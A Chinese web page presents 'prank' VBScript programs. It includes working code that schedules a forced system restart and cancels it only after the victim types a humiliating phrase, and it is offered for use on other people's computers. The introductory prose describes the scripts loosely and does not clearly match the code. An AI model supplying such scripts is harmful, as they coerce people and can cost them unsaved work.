電腦編程惡搞

1. 如何使用VBS代碼實現惡搞關機功能並顯示提示信息

惡搞的魅力在於意外的驚喜，來看看這兩個創意十足的VBS代碼片段，讓你的電腦體驗一段獨特的互動吧！

首先，讓我們來玩一個小游戲，這段代碼巧妙地利用了on error resume next語句和InputBox函數，創建了一個「愛的挑戰」：

• 通過WSHshell對象，程序啟動命令提示符，命令行中隱藏的信息彷彿在催促：「如果你說『我愛你』，我就饒你一命，不然30秒後，bye-bye了哦。」


• 循環中，程序等待用戶輸入「我愛你」，每一次對話框彈出，彷彿是電腦在期待著你的回答。當你輸入正確時，它會溫柔地告訴你：「雖然你愛我，但我還是要執行任務。」

但別以為這樣就結束了，第二個惡搞程序更狡猾：

• 「毒氣」來襲，一個狡猾的MsgBox彈出，戲謔道：「哈哈，你中毒了，盡管試圖關閉我，但我掌控全局。」


• 最後，程序以一個神秘的「loo」結束，留下懸念，讓人忍不住想要解開它的秘密。

這些惡搞代碼充滿了趣味性，它們或許會給你日常生活中的計算機操作增添一點輕松與幽默。雖然簡單，卻能讓你的電腦成為一個會說話、有個性的朋友。

讓我們一起探索更多編程的樂趣，這些代碼片段只是冰山一角，期待你的創新與改編。希望這些小惡搞能為你的編程世界增添一抹亮色！

2. 求惡搞小程序，編程代碼，最好是VB的

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
這是網上流行的一種讓別人關機的代碼